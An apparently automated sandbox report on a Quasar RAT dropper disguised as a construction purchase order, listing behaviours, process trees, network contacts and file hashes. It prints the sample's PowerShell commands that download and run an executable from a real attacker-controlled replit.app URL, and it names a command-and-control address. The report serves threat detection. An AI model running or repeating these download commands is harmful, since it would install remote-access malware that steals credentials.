Analysis Overview
SHA256
d5c58db5059aefcb3abcc09914655780472d653ccf7f42dfacf7d5d66b8ea600
Threat Level: Known bad
The file jdconstructnOrder_fdp.rar was found to be: Known bad.
Malicious Activity Summary
Quasar payload
Quasar RAT
Credentials from Password Stores: Credentials from Web Browsers
Command and Scripting Interpreter: PowerShell
Blocklisted process makes network request
Downloads MZ/PE file
Executes dropped EXE
.NET Reactor proctector
Checks computer location settings
Reads user/profile data of web browsers
Reads WinSCP keys stored on the system
Adds Run key to start application
System Location Discovery: System Language Discovery
Unsigned PE
Enumerates physical storage devices
Suspicious behavior: EnumeratesProcesses
Suspicious use of AdjustPrivilegeToken
Suspicious use of SendNotifyMessage
Suspicious use of FindShellTrayWindow
Suspicious use of WriteProcessMemory
MITRE ATT&CK
Enterprise Matrix V15
Analysis: static1
Detonation Overview
Reported
2024-07-29 07:35
Signatures
Unsigned PE
| Description | Indicator | Process | Target |
| N/A | N/A | N/A | N/A |
Analysis: behavioral1
Detonation Overview
Submitted
2024-07-29 07:35
Reported
2024-07-29 07:37
Platform
win7-20240705-en
Max time kernel
14s
Max time network
23s
Command Line
Signatures
Command and Scripting Interpreter: PowerShell
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Enumerates physical storage devices
System Location Discovery: System Language Discovery
| Description | Indicator | Process | Target |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Users\Admin\AppData\Local\Temp\jdconstructnOrderfdp..exe | N/A |
Suspicious behavior: EnumeratesProcesses
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of AdjustPrivilegeToken
| Description | Indicator | Process | Target |
| Token: SeDebugPrivilege | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| Token: SeDebugPrivilege | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of WriteProcessMemory
Processes
C:\Users\Admin\AppData\Local\Temp\jdconstructnOrderfdp..exe
"C:\Users\Admin\AppData\Local\Temp\jdconstructnOrderfdp..exe"
C:\Windows\system32\cmd.exe
"C:\Windows\sysnative\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\FD33.tmp\FD34.tmp\FD35.bat C:\Users\Admin\AppData\Local\Temp\jdconstructnOrderfdp..exe"
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Powershell -Command "Invoke-WebRequest 'https://jdvdpconstructionltdfileportal.replit.app/purchaseOrder.jpg' -OutFile purchaseOrder.jpg"
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Powershell -Command "Invoke-WebRequest 'https://jdvdpconstructionltdfileportal.replit.app/networkrunfdp.exe' -OutFile networkrunfdp.exe"
Network
Files
memory/1056-13-0x000007FEF4DC0000-0x000007FEF575D000-memory.dmp
memory/1056-12-0x000007FEF4DC0000-0x000007FEF575D000-memory.dmp
memory/1056-11-0x000007FEF4DC0000-0x000007FEF575D000-memory.dmp
memory/1056-10-0x000007FEF4DC0000-0x000007FEF575D000-memory.dmp
memory/1056-9-0x00000000022A0000-0x00000000022A8000-memory.dmp
memory/1056-8-0x000007FEF4DC0000-0x000007FEF575D000-memory.dmp
memory/1056-7-0x000000001B6F0000-0x000000001B9D2000-memory.dmp
memory/1056-6-0x000007FEF507E000-0x000007FEF507F000-memory.dmp
C:\Users\Admin\AppData\Local\Temp\FD33.tmp\FD34.tmp\FD35.bat
| MD5 | 9aaac0122442ca0ebb4d8bb795e86676 |
| SHA1 | 594744d8e4d51273dd435c3fac5799bc5f180e8c |
| SHA256 | 6af7e75e339241dac26eca99aa1290c1f420b45b4231212d20adf08aa287e373 |
| SHA512 | d08a0dd3b40d80c7582c3f69a7868371e7eb03ac6f4658a39e7a9fb1dd34cc22a5e91d60b31af71c77cebfe0fd0c3827fdbb3cc35224189388345c61e756636c |
memory/1056-14-0x000007FEF4DC0000-0x000007FEF575D000-memory.dmp
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\TLHZCW1YK4EQO8YFTMQ0.temp
| MD5 | 6e841bff0316c7155ddb5f1831b5c7d1 |
| SHA1 | 64fbf22b57116c43cb8bd09a2ec6de8008ba91e4 |
| SHA256 | 56b0abbab4702baf6a30d4925ad33520040dc402e218dfcccbd4324eb41efa9a |
| SHA512 | 41511444e34559bfda88f4c6f321d0b3ff26c829571c263c6430dfe0f3f9c3ff2089c026c9f9751203e207a9a41a23c6cb19c08c2e49aa870d4d0ccb8519b538 |
memory/2776-20-0x000000001B6D0000-0x000000001B9B2000-memory.dmp
memory/2776-21-0x00000000022B0000-0x00000000022B8000-memory.dmp
Analysis: behavioral2
Detonation Overview
Submitted
2024-07-29 07:35
Reported
2024-07-29 07:38
Platform
win10v2004-20240709-en
Max time kernel
145s
Max time network
157s
Command Line
Signatures
Quasar RAT
Quasar payload
| Description | Indicator | Process | Target |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
Credentials from Password Stores: Credentials from Web Browsers
Blocklisted process makes network request
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Command and Scripting Interpreter: PowerShell
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Downloads MZ/PE file
.NET Reactor proctector
| Description | Indicator | Process | Target |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
Checks computer location settings
| Description | Indicator | Process | Target |
| Key value queried | \REGISTRY\USER\S-1-5-21-2990742725-2267136959-192470804-1000\Control Panel\International\Geo\Nation | C:\Users\Admin\AppData\Local\Temp\jdconstructnOrderfdp..exe | N/A |
Executes dropped EXE
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Users\Admin\AppData\Local\Temp\networkrunfdp.exe | N/A |
Reads WinSCP keys stored on the system
Reads user/profile data of web browsers
Adds Run key to start application
| Description | Indicator | Process | Target |
| Set value (str) | \REGISTRY\USER\S-1-5-21-2990742725-2267136959-192470804-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\NetworkRun.exe = "C:\\Users\\Admin\\AppData\\Local\\Temp\\networkrunfdp.exe" | C:\Users\Admin\AppData\Local\Temp\networkrunfdp.exe | N/A |
Enumerates physical storage devices
System Location Discovery: System Language Discovery
| Description | Indicator | Process | Target |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Users\Admin\AppData\Local\Temp\jdconstructnOrderfdp..exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Users\Admin\AppData\Local\Temp\networkrunfdp.exe | N/A |
Suspicious behavior: EnumeratesProcesses
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of AdjustPrivilegeToken
| Description | Indicator | Process | Target |
| Token: SeDebugPrivilege | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| Token: SeDebugPrivilege | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| Token: SeDebugPrivilege | N/A | C:\Users\Admin\AppData\Local\Temp\networkrunfdp.exe | N/A |
Suspicious use of FindShellTrayWindow
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Users\Admin\AppData\Local\Temp\networkrunfdp.exe | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Local\Temp\networkrunfdp.exe | N/A |
Suspicious use of SendNotifyMessage
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Users\Admin\AppData\Local\Temp\networkrunfdp.exe | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Local\Temp\networkrunfdp.exe | N/A |
Suspicious use of WriteProcessMemory
Processes
C:\Users\Admin\AppData\Local\Temp\jdconstructnOrderfdp..exe
"C:\Users\Admin\AppData\Local\Temp\jdconstructnOrderfdp..exe"
C:\Windows\system32\cmd.exe
"C:\Windows\sysnative\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\BA76.tmp\BA87.tmp\BA88.bat C:\Users\Admin\AppData\Local\Temp\jdconstructnOrderfdp..exe"
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Powershell -Command "Invoke-WebRequest 'https://jdvdpconstructionltdfileportal.replit.app/purchaseOrder.jpg' -OutFile purchaseOrder.jpg"
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Powershell -Command "Invoke-WebRequest 'https://jdvdpconstructionltdfileportal.replit.app/networkrunfdp.exe' -OutFile networkrunfdp.exe"
C:\Users\Admin\AppData\Local\Temp\networkrunfdp.exe
networkrunfdp.exe
Network
| Country | Destination | Domain | Proto |
| US | 8.8.8.8:53 | 8.8.8.8.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 183.142.211.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 172.214.232.199.in-addr.arpa | udp |
| US | 8.8.8.8:53 | g.bing.com | udp |
| US | 204.79.197.237:443 | g.bing.com | tcp |
| US | 8.8.8.8:53 | 237.197.79.204.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 71.159.190.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 58.99.105.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | jdvdpconstructionltdfileportal.replit.app | udp |
| US | 34.117.33.233:443 | jdvdpconstructionltdfileportal.replit.app | tcp |
| US | 8.8.8.8:53 | 233.33.117.34.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 104.219.191.52.in-addr.arpa | udp |
| US | 34.117.33.233:443 | jdvdpconstructionltdfileportal.replit.app | tcp |
| US | 8.8.8.8:53 | 183.59.114.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 58.55.71.13.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 171.39.242.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 133.211.185.52.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 192.142.123.92.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 172.210.232.199.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 22.236.111.52.in-addr.arpa | udp |
| US | 8.8.8.8:53 | oshi.at | udp |
| CZ | 194.15.112.248:443 | oshi.at | tcp |
| US | 8.8.8.8:53 | 248.112.15.194.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 205.47.74.20.in-addr.arpa | udp |
| US | 192.228.105.2:4782 | tcp | |
| US | 8.8.8.8:53 | tse1.mm.bing.net | udp |
| US | 150.171.28.10:443 | tse1.mm.bing.net | tcp |
| US | 150.171.28.10:443 | tse1.mm.bing.net | tcp |
| US | 150.171.28.10:443 | tse1.mm.bing.net | tcp |
| US | 150.171.28.10:443 | tse1.mm.bing.net | tcp |
| US | 150.171.28.10:443 | tse1.mm.bing.net | tcp |
| US | 8.8.8.8:53 | ipwho.is | udp |
| DE | 195.201.57.90:443 | ipwho.is | tcp |
| US | 8.8.8.8:53 | 2.105.228.192.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 10.28.171.150.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 90.57.201.195.in-addr.arpa | udp |
Files
C:\Users\Admin\AppData\Local\Temp\BA76.tmp\BA87.tmp\BA88.bat
| MD5 | 9aaac0122442ca0ebb4d8bb795e86676 |
| SHA1 | 594744d8e4d51273dd435c3fac5799bc5f180e8c |
| SHA256 | 6af7e75e339241dac26eca99aa1290c1f420b45b4231212d20adf08aa287e373 |
| SHA512 | d08a0dd3b40d80c7582c3f69a7868371e7eb03ac6f4658a39e7a9fb1dd34cc22a5e91d60b31af71c77cebfe0fd0c3827fdbb3cc35224189388345c61e756636c |
memory/5104-2-0x00007FFE5D653000-0x00007FFE5D655000-memory.dmp
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_00nrruty.2yd.ps1
| MD5 | d17fe0a3f47be24a6453e9ef58c94641 |
| SHA1 | 6ab83620379fc69f80c0242105ddffd7d98d5d9d |
| SHA256 | 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7 |
| SHA512 | 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82 |
memory/5104-3-0x000001F362D00000-0x000001F362D22000-memory.dmp
memory/5104-13-0x00007FFE5D650000-0x00007FFE5E111000-memory.dmp
memory/5104-14-0x00007FFE5D650000-0x00007FFE5E111000-memory.dmp
memory/5104-18-0x00007FFE5D650000-0x00007FFE5E111000-memory.dmp
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
| MD5 | 2f57fde6b33e89a63cf0dfdd6e60a351 |
| SHA1 | 445bf1b07223a04f8a159581a3d37d630273010f |
| SHA256 | 3b0068d29ae4b20c447227fbf410aa2deedfef6220ccc3f698f3c7707c032c55 |
| SHA512 | 42857c5f111bfa163e9f4ea6b81a42233d0bbb0836ecc703ce7e8011b6f8a8eca761f39adc3ed026c9a2f99206d88bab9bddb42da9113e478a31a6382af5c220 |
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
| MD5 | ba7bb8c22d72f7d6094bf4b7a11fd2df |
| SHA1 | e68eab39081c17997a16bca1667f1544f11804a5 |
| SHA256 | 0b479a9a243e4fa548d64277229f3c72cc7c6773001a235fc406c74e98d32b1a |
| SHA512 | 58288cb73c35eb08b28f9ad0e96ed17e89b6e361c015c233deba9eb39a928e7216576c897bed531625171606ff9952361c40b14df27c0aa7e2e68228aeb0de4c |
C:\Users\Admin\AppData\Local\Temp\networkrunfdp.exe
| MD5 | a18b7de2990becc30f700720e19ebfef |
| SHA1 | b48c1a5c7756bccfe05d7999daeb96e7ab688cfd |
| SHA256 | 2bf98c947ce0bd8e6e6a0c0493af056790d61ab86c7c47896b4688bdc60b68b5 |
| SHA512 | 484f8faf3973b74c96b6fea157774c627044fa4631e127de30f9f93468d38e73befa3c3bff3ea07108c82d943c9b56e79c5d6391d0e3a9b197869b0715d2808b |
memory/2268-35-0x0000000000350000-0x00000000003BE000-memory.dmp
memory/2268-42-0x00000000055F0000-0x0000000005915000-memory.dmp
memory/2268-43-0x0000000006060000-0x0000000006384000-memory.dmp
memory/2268-44-0x0000000006930000-0x0000000006ED4000-memory.dmp
memory/2268-45-0x0000000005DE0000-0x0000000005E72000-memory.dmp
memory/2268-46-0x0000000005DD0000-0x0000000005DDA000-memory.dmp
memory/2268-47-0x00000000065D0000-0x0000000006620000-memory.dmp
memory/2268-48-0x00000000066E0000-0x0000000006792000-memory.dmp
memory/2268-49-0x0000000007500000-0x0000000007B18000-memory.dmp
memory/2268-50-0x0000000007210000-0x0000000007222000-memory.dmp
memory/2268-51-0x0000000007270000-0x00000000072AC000-memory.dmp
memory/2268-52-0x0000000007320000-0x0000000007386000-memory.dmp